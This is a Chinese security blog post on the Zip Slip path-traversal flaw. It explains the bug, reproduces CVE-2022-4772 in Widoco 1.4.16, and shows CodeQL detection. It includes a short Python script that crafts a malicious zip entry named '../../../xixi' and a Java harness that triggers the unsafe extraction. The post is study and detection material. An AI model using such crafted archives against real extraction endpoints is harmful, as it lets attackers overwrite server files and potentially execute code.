首页 > 其他分享 >Zip Slip漏洞审计实战

Zip Slip漏洞审计实战

时间:2023-03-09 23:56:52浏览次数:49  
标签:.. zip Zip 漏洞 Slip com

前言

最近看到许少的推有说到Zip Slip这个漏洞导致的RCE,其实我在代码审计的时候确实发现有不少功能模块都是使用ZIP来解压,其实还是在真实系统中经常见到的。

于是想着好久没有写过博客了,想借着这次机会更新一下吧,免得读者以为我在偷懒没学习了~

 

Zip Slip是什么漏洞

Zip Slip是一种在压缩包中特制(../../../evil.sh)的解压缩文件替换漏洞,包括多种解压缩如tar、jar、war、cpio、apk、rar、7z和zip等。

Java中较为常见的场景是上传压缩包进行解压的时候,后端使用解压类直接将压缩包当中的节点解压出来,可能会通过节点的名字../跳转到上级目录中,从而导致任意目录的文件替换。如果结合系统特性和某些定时任务脚本,就可能导致RCE的执行,因此该漏洞也被标记为高危漏洞。

我从先知上TGAO师傅发布的文章里面公布的poc:

import zipfile

if __name__ == "__main__":
    try:
        zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("poc.zip")
        zipFile.write("E:/qqq.txt", "../../../xixi", zipfile.ZIP_DEFLATED)
        zipFile.close()
    except IOError as e:
        raise e

 

其中qqq.txt是需要压缩的文件,../../../xixi是该文件在压缩包中的名字

之后在Java中使用zipEntry.getName()等方法获取的就是../../../xixi这个字符串

更多的框架Zip-Slip漏洞可以在开源项目中找到:https://github.com/snyk/zip-slip-vulnerability

 

 

漏洞分析实战

java.util.zip.ZipEntry

该类是Jdk中自带的原生类,在TGAO师傅发布的文章中介绍到了,这里就不在赘述了

 

 

Widoco Zip-Slip(CVE-2022-4772)漏洞分析

漏洞描述

WIDOCO是一个用于记录本体的向导。帮助您通过在GUI中执行一系列步骤,自动发布和创建一个丰富的、定制的本体文档。 WIDOCO在1.4.17版本之前存在Zip-Slip漏洞,漏洞点在src/main/java/widoco/WidocoUtils.java文件中,通过unZipIt函数可以将zip包中的文件写入到任意可写入的文件夹中,这将影响服务器的完整性。

漏洞定位

查看1.4.17版本和Github上Master最新的版本做对比

 

发现是在方法Unzipit中进行了修补

 

漏洞复现

首先添加Widoco有漏洞版本到项目依赖中

<dependencies>
  <dependency>
      <groupId>com.github.dgarijo</groupId>
      <artifactId>Widoco</artifactId>
      <version>v1.4.16</version>
  </dependency>
</dependencies>

[ ... ]

<repositories>
    <repository>
        <id>jitpack.io</id>
        <url>https://jitpack.io</url>
    </repository>
</repositories>

 

 运行poc.py,设置跨越到上级目录../xixi文件

 

再编写漏洞利用代码,模拟真实场景下压缩包解压的情况

package javaTest;

import widoco.WidocoUtils;

public class GST {
    public static void main(String[] args){
        String path = GST.class.getResource("/").toString();
        System.out.println("path = " + path);
        String resourceName = "/poc.zip";
        String outputFolder = "E:\\work\\TempVuln\\tempDir";
        WidocoUtils.unZipIt(resourceName,outputFolder);
        System.out.println("Done");
    }
}

 

执行后xixi文件就直接被解压到上级目录下,造成Zip-Slip漏洞

 

再来看看修复方案,是判断解压的路径和设置的目标主目录是否是相等的,如果不是则抛出异常

 

 

使用CodeQL发现漏洞

首先下载目标对应版本的项目,使用如下命令创建数据库

codeql database create qldb-test -l java

 

创建成功后会有successful的提示

之后使用database analyze进行分析

codeql database analyze qldb-test E:\codeql\ql\java\ql\src\Security\CWE --format=sarifv2.1.0 --output=result.sarif

 

这里的路径是CWE的分析规则,挨个进行分析

在该目录会生成一个result.sarif文件,通过vscode的sarif viewer插件打开

 

打开sarif文件,从RULES一栏中可以看到zipslip的漏洞就发现了

 

如此的漏洞,在代码审计和系统中很多开发人员都不知道,也许随手就拿来用了

 

 

Reference

[1].https://res.cloudinary.com/snyk/image/upload/v1528192501/zip-slip-vulnerability/technical-whitepaper.pdf

[2].https://github.com/snyk/zip-slip-vulnerability

[3].https://xz.aliyun.com/t/12081

[4].https://github.com/dgarijo/Widoco/pull/551

[5].https://vip.riskivy.com/detail/1607889173715488768

 

标签:..,zip,Zip,漏洞,Slip,com
From: https://www.cnblogs.com/wh4am1/p/17201960.html

相关文章

  • 禅道系统权限绕过与命令执行漏洞分析
    漏洞概述禅道是第一款国产的开源项目管理软件,也是国内最流行的项目管理软件。该系统在2023年初被爆出在野命令执行漏洞,官方已于2023年1月12日发布了漏洞修复补丁。该漏洞是......
  • 玩转CodeQLpy之用友GRP-U8漏洞挖掘
    0x01前言CodeQLpy是作者使用python3实现的基于CodeQL的java代码审计工具,github地址https://github.com/webraybtl/CodeQLpy。通过CodeQLpy可以辅助代码审计人员快速定位代......
  • CVE-2016-3348漏洞分析
    0x00漏洞信息漏洞影响:本地提权漏洞文件:win32kfull.sys漏洞函数:GreDoBanding漏洞原因:释放重引用漏洞日期: 2016年9月13日【漏洞分析合集】0x01漏洞分析win32kf......
  • 开源API越权漏洞检测系统推荐:IDOR_detect_tool
    相信大部分读者跟我一样,每天都在写各种API为Web应用提供数据支持,那么您是否有想过您的API是否足够安全呢?Web应用的安全是网络安全中不可忽视的关键方面。我们必须确保其We......
  • java zip
    @RequestMapping(value="/Table/createCode/{tableName}/{tablePrefix}",method=RequestMethod.GET)publicvoidcreateCode(@PathVariableStringtableName,@Pat......
  • GitHub 漏洞:黑客窃取了 GitHub Desktop 和 Atom 的代码签名证书
    GitHub披露,未知的威胁行为者设法泄露了与适用于Mac和Atom应用程序的某些版本的GitHubDesktop有关的加密代码签名证书。因此,该公司出于谨慎考虑采取了吊销暴露......
  • 使用hutool实现压缩zip到输出流(包括空zip)
    //将文件直接压缩至输出流String[]fileNames=fileNameList.toArray(newString[0]);InputStream[]inputStreams=inputStreamList.toArray(newInputStream[0]);i......
  • 生成zip文件,并下载
    1.zip生成/***@paramsourceFilePath:待压缩的文件路径文件的目录,并非文件路径*@paramzipFilePath:压缩后存放路径*@paramfileName......
  • TypechoCMS 反序列化漏洞
    前言这学期的专业实习周的第七个实验:TypechoCMS反序列化漏洞的代码审计,因为是学校的实验内容,所以难度也会比较低一些环境搭建TypechoCMS官方:https://typecho.org/漏......
  • Pwn2Own Austin 2021 Cisco RV34x RCE 漏洞链复现
    前言这个RCE漏洞利用链的实现是由几个逻辑洞的结合而导致的,这几天我花了一些时间复现了一遍,在此记录一下。固件解压我下载的是RV345v1.0.03.24,从官网下载到压缩包解压......